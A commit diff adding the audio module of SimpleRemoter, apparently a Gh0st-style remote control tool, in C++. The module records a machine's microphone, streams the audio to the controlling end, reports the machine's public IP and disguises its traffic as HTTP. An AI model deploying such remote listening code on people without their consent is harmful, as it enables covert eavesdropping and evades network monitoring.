Init: Migrate SimpleRemoter (Since v1.3.1) to Gitea

client/AudioManager.cpp

@@ -0,0 +1,129 @@
+// AudioManager.cpp: implementation of the CAudioManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#include "stdafx.h"
+#include "AudioManager.h"
+#include "Common.h"
+#include <Mmsystem.h>
+#include <IOSTREAM>
+
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
+{
+    Mprintf("new CAudioManager %p\n", this);
+
+    m_bIsWorking = FALSE;
+    m_AudioObject = NULL;
+
+    if (Initialize()==FALSE) {
+        szPacket = NULL;
+        m_hWorkThread = NULL;
+        char buf[128];
+        sprintf_s(buf, "Open audio failed[IP: %s]", m_ClientObject->GetPublicIP().c_str());
+        Mprintf("%s\n", buf);
+        ClientMsg msg("语音管理", buf);
+        m_ClientObject->Send2Server((char*)&msg, sizeof(msg));
+        return;
+    }
+
+    BYTE	bToken = TOKEN_AUDIO_START;
+    HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+    m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
+
+    WaitForDialogOpen();    //等待对话框打开
+    szPacket = NULL;
+
+    m_hWorkThread = __CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
+}
+
+
+VOID  CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
+{
+    switch(szBuffer[0]) {
+    case COMMAND_NEXT: {
+        if (1 == ulLength)
+            NotifyDialogIsOpen();
+        break;
+    }
+    default: {
+        m_AudioObject->PlayBuffer(szBuffer, ulLength);
+        break;
+    }
+    }
+}
+
+DWORD CAudioManager::WorkThread(LPVOID lParam)   //发送声音到服务端
+{
+    CAudioManager *This = (CAudioManager *)lParam;
+    while (This->m_bIsWorking && !This->g_bExit) {
+        if(!This->SendRecordBuffer())
+            Sleep(50);
+    }
+
+    Mprintf("CAudioManager WorkThread end\n");
+
+    return 0;
+}
+
+BOOL CAudioManager::SendRecordBuffer()
+{
+    DWORD	dwBufferSize = 0;
+    BOOL	dwReturn = 0;
+    //这里得到 音频数据
+    LPBYTE	szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
+    if (szBuffer == NULL)
+        return 0;
+    //分配缓冲区
+    szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
+    //加入数据头
+    szPacket[0] = TOKEN_AUDIO_DATA;     //向主控端发送该消息
+    //复制缓冲区
+    memcpy(szPacket + 1, szBuffer, dwBufferSize);
+    szPacket[dwBufferSize] = 0;
+    //发送出去
+    if (dwBufferSize > 0) {
+        dwReturn = m_ClientObject->Send2Server((char*)szPacket, dwBufferSize + 1);
+    }
+    return dwReturn;
+}
+
+CAudioManager::~CAudioManager()
+{
+    m_bIsWorking = FALSE;                            //设定工作状态为假
+    if (m_hWorkThread)
+        WaitForSingleObject(m_hWorkThread, INFINITE);    //等待 工作线程结束
+    if (m_hWorkThread)
+        SAFE_CLOSE_HANDLE(m_hWorkThread);
+
+    if (m_AudioObject!=NULL) {
+        delete m_AudioObject;
+        m_AudioObject = NULL;
+    }
+    if (szPacket) {
+        delete [] szPacket;
+        szPacket = NULL;
+    }
+    Mprintf("~CAudioManager %p\n", this);
+}
+
+//USB
+BOOL CAudioManager::Initialize()
+{
+    if (!waveInGetNumDevs())   //获取波形输入设备的数目  实际就是看看有没有声卡
+        return FALSE;
+
+    // SYS    SYS P
+    // 正在使用中.. 防止重复使用
+    if (m_bIsWorking==TRUE) {
+        return FALSE;
+    }
+
+    m_AudioObject = new CAudio;  //功能类
+
+    m_bIsWorking = TRUE;
+    return TRUE;
+}